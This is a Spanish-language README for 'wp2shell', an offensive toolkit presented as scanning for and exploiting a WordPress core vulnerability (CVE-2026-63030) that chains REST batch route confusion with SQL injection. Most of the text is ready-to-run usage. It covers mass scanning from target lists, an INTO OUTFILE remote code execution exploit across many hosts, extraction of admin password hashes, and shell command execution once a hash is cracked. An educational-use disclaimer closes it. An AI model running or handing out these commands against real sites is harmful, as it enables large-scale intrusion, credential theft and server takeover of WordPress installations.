🔍 wp2shell - Escáner y Exploit de Vulnerabilidad CVE-2026-63030 de WordPress

⚡ Escáner y Exploit de Vulnerabilidad en Tiempo Real para CVE-2026-63030 (wp2shell)

📌 Descripción general

wp2shell es un kit de herramientas integral para detectar y explotar CVE-2026-63030, una vulnerabilidad crítica en WordPress que permite a atacantes no autenticados ejecutar código remoto mediante confusión de rutas por lotes de la API REST combinada con inyección SQL.

🔍 ¿Qué es CVE-2026-63030?

CVE-2026-63030 (wp2shell) es una vulnerabilidad crítica descubierta por Adam Kues (Assetnote / Searchlight Cyber) que afecta al núcleo de WordPress. Combina dos errores:

1. GHSA-ff9f-jf42-662q - Confusión de rutas por lotes REST
2. GHSA-fpp7-x2x2-2mjf - Inyección SQL author__not_in

📊 Versiones afectadas

📦 Clonación y configuración

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ Herramientas incluidas

1️⃣ wp2shell_scanner.py - Escáner rápido

Escáner en tiempo real multiproceso para la detección de vulnerabilidades a gran escala.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - Exploit INTO OUTFILE

Demuestra la variante RCE INTO OUTFILE (requiere privilegio FILE de MySQL).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - Exploit de un solo archivo

Versión portátil y de un solo archivo del exploit con funcionalidad completa.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ Aviso legal

IMPORTANTE: Esta herramienta es solo para fines educativos y de pruebas autorizadas.

• Úsala únicamente en sistemas de tu propiedad o para los que tengas permiso explícito por escrito para probar.
• El acceso no autorizado a sistemas informáticos es ilegal.
• Los desarrolladores no asumen ninguna responsabilidad por el mal uso de este software.
• Úsala de manera responsable y ética.